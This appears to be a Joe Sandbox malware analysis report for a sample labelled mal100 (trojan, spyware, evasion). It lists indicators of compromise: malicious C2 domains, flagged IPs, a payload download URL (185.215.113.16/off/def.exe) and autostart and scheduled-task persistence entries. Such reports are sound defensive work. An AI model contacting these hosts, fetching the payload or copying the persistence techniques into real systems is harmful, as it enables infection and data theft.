http://crl.microsoft	26624fe56e.exe, 0000000B.00000003.2362823081.000000000165D000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149868134.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2646255291.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2640673941.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/pi	376a884392.exe, 0000000C.00000003.2741973737.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2631548438.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2456045477.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2455820921.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.microso	powershell.exe, 00000020.00000002.3057526135.0000024F674E5000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000001F.00000002.3078611902.0000019AE479C000.00000004.00000800.00020000.00000000.sdmp	false
https://shineugler.biz/	26624fe56e.exe, 0000000B.00000002.2364117616.0000000001608000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2867957679.0000019AD4731000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/Cj9X	376a884392.exe.exe, 0000001A.00000003.3045694998.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3151012786.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000020.00000002.2835478845.0000024F4F249000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000001F.00000002.2867957679.0000019AD4958000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2835478845.0000024F4F249000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000020.00000002.2835478845.0000024F4F249000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	91a3357555.exe, 00000011.00000003.3099416155.00000000017D2000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 0000001F.00000002.3078611902.0000019AE479C000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	376a884392.exe, 0000000C.00000003.2508703385.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2912490488.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	376a884392.exe, 0000000C.00000003.2508703385.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2912490488.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000020.00000002.2835478845.0000024F4F249000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz:443/apil	376a884392.exe.exe, 0000001A.00000003.2989174141.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/;jAX	376a884392.exe.exe, 0000001A.00000003.3045694998.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3151012786.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029218146.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/D	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/C	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16:80/off/def.exe	376a884392.exe, 376a884392.exe, 0000000C.00000003.2741973737.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001F.00000002.2867957679.0000019AD4958000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2835478845.0000024F4F249000.00000004.00000800.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3151012786.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apiGUEF	376a884392.exe, 0000000C.00000003.2532877527.0000000005830000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz:443/api	376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/piB	376a884392.exe.exe, 0000001A.00000003.2646255291.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2640673941.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/J	376a884392.exe, 0000000C.00000003.2741973737.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573226005.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.micrd	powershell.exe, 00000020.00000002.3053335412.0000024F6749A000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/License	powershell.exe, 0000001F.00000002.3078611902.0000019AE479C000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apihY8Y	376a884392.exe, 0000000C.00000003.2510263968.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2532877527.0000000005830000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2505763688.0000000005832000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2507729465.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2504614399.000000000582F000.00000004.00000800.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/uR	376a884392.exe, 0000000C.00000003.2478621738.000000000581A000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2478318530.000000000581A000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/e	376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/piKk1Y%	376a884392.exe.exe, 0000001A.00000003.3045694998.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3151012786.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/v	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	376a884392.exe, 0000000C.00000003.2508703385.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2912490488.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	376a884392.exe, 0000000C.00000003.2508703385.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2912490488.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/piZ	376a884392.exe.exe, 0000001A.00000003.2646255291.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2640673941.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/r	376a884392.exe, 0000000C.00000003.2741973737.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2631548438.0000000000F94000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 0000001F.00000002.3078611902.0000019AE479C000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/s	376a884392.exe, 0000000C.00000003.2537109395.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2534674508.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573226005.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2532877527.0000000005830000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2505763688.0000000005832000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2507822969.0000000005836000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2507729465.0000000005834000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2504614399.000000000582F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536727617.0000000005836000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2536017512.0000000005834000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/t	376a884392.exe.exe, 0000001A.00000003.2900363212.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2917030280.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false
https://shineugler.biz/apicatioF)a	26624fe56e.exe, 0000000B.00000002.2364117616.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 26624fe56e.exe, 0000000B.00000003.2362823081.0000000001662000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	376a884392.exe.exe, 0000001A.00000003.2918876458.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	false
http://nuget.org/NuGet.exe	powershell.exe, 0000001F.00000002.3078611902.0000019AE479C000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apir	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apis	376a884392.exe, 0000000C.00000003.2456045477.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2455820921.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apiw	376a884392.exe, 0000000C.00000003.2601383684.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2630658246.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573363298.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2543153764.0000000001020000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/apiz	376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
https://ac.ecosia.org/autocomplete?q=	376a884392.exe, 0000000C.00000003.2456952375.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457138517.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2457039408.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2674809716.000000000557E000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2678659839.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/	376a884392.exe, 0000000C.00000003.2742234874.000000000100D000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/ck	376a884392.exe.exe, 0000001A.00000003.2957089920.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2992839228.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2962946644.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029218146.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2987914503.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2958265937.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2957786310.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
http://crt.rootca1.amazontrust.com/rootca1.cer0?	376a884392.exe, 0000000C.00000003.2508703385.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2912490488.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	376a884392.exe, 0000000C.00000003.2511093309.000000000581F000.00000004.00000800.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.2929434518.00000000055D7000.00000004.00000800.00020000.00000000.sdmp	false
https://aka.ms/pscore68	powershell.exe, 0000001F.00000002.2867957679.0000019AD4731000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.38.84	unknown	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.177.250	shineugler.biz	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.67.164.37	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	true
172.67.220.198	749858cm.renyash.ru	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576014
Start date and time:	2024-12-16 13:13:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@116/109@186/11
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for powershell

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 173.194.222.84, 172.217.21.35, 23.218.208.109, 44.228.225.150, 35.85.93.176, 54.213.181.160, 142.250.181.138, 64.233.162.84, 172.217.19.170, 172.217.19.234, 142.250.181.10, 142.250.181.106, 172.217.19.10, 172.217.17.42, 172.217.17.74, 172.217.19.202, 216.58.208.234, 142.250.181.74, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.87.96.169, 2.19.126.152, 2.19.126.145, 2.16.158.81, 2.16.158.80, 2.16.158.56, 2.16.158.83, 2.16.158.72, 2.16.158.82, 2.16.158.51, 2.16.158.75, 2.16.158.74, 2.18.64.218, 2.18.64.203, 2.16.158.43, 2.16.158.48, 2.16.158.50, 2.16.158.40, 104.126.37.51, 104.126.37.40, 204.79.197.237, 13.107.21.237, 13.74.129.1, 172.165.61.93, 2.16.158.192, 2.16.158.179, 2.16.158.169, 2.16.158.170, 2.16.158.187, 2.16.158.176, 2.16.158.186, 2.16.158.96, 2.16.158.185, 2.19.126.157, 2.19.126.155, 104.208.16.90, 172.202.163.200, 13.107.246.63, 94.245.104.56, 20.190.181.4, 13.107.246.40, 23.96.180.189, 104.117
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, dare-curbys.biz, nav-edge.smartscreen.microsoft.com, impend-differ.biz, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, dwell-exclaim.biz, www.gstatic.com, normandy-cdn.services.mozilla.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, zinc-sneark.biz, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, formy-spill.biz, busine
Execution Graph export aborted for target 26624fe56e.exe, PID 3648 because there are no executed function
Execution Graph export aborted for target 376a884392.exe, PID 6788 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:16:02	API Interceptor	14492120x Sleep call for process: skotes.exe modified
07:16:27	API Interceptor	2x Sleep call for process: 26624fe56e.exe modified
07:16:35	API Interceptor	161x Sleep call for process: 376a884392.exe modified
07:16:54	API Interceptor	305x Sleep call for process: 376a884392.exe.exe modified
07:16:54	API Interceptor	2x Sleep call for process: svchost.exe modified
07:16:55	API Interceptor	47x Sleep call for process: powershell.exe modified
07:17:03	API Interceptor	1255217x Sleep call for process: MCdUWiJkswOzRL.exe modified
07:17:09	API Interceptor	527x Sleep call for process: 91a3357555.exe.exe modified
07:17:13	API Interceptor	135124x Sleep call for process: 91a3357555.exe modified
13:15:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:16:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 376a884392.exe C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
13:16:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 91a3357555.exe C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
13:16:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 897a67bb94.exe C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe
13:17:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run BrokerhostNet "C:\Bridgecontainerserver\BrokerhostNet.exe"
13:17:19	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
13:17:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4007342d09.exe C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe
13:17:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 376a884392.exe C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe
13:17:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 91a3357555.exe C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe
13:17:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 897a67bb94.exe C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe
13:17:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run BrokerhostNet "C:\Bridgecontainerserver\BrokerhostNet.exe"
13:18:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 4007342d09.exe C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe
13:18:14	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run BrokerhostNet "C:\Bridgecontainerserver\BrokerhostNet.exe"
13:18:31	Autostart	Run: WinLogon Shell "C:\Bridgecontainerserver\BrokerhostNet.exe"
13:22:13	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
13:22:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8e284a23b0.exe C:\Users\user\AppData\Local\Temp\1016102001\8e284a23b0.exe
13:22:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e7a9e34a04.exe C:\Users\user\AppData\Local\Temp\1016103001\e7a9e34a04.exe
13:23:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2c7efce2ff.exe C:\Users\user\AppData\Local\Temp\1016104001\2c7efce2ff.exe
13:23:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run db9238321a.exe C:\Users\user\AppData\Local\Temp\1016105001\db9238321a.exe
13:23:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8e284a23b0.exe C:\Users\user\AppData\Local\Temp\1016102001\8e284a23b0.exe
13:23:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e7a9e34a04.exe C:\Users\user\AppData\Local\Temp\1016103001\e7a9e34a04.exe
13:23:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2c7efce2ff.exe C:\Users\user\AppData\Local\Temp\1016104001\2c7efce2ff.exe
13:23:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run db9238321a.exe C:\Users\user\AppData\Local\Temp\1016105001\db9238321a.exe

Process:	C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1961984
Entropy (8bit):	7.5540495070760905
Encrypted:	false
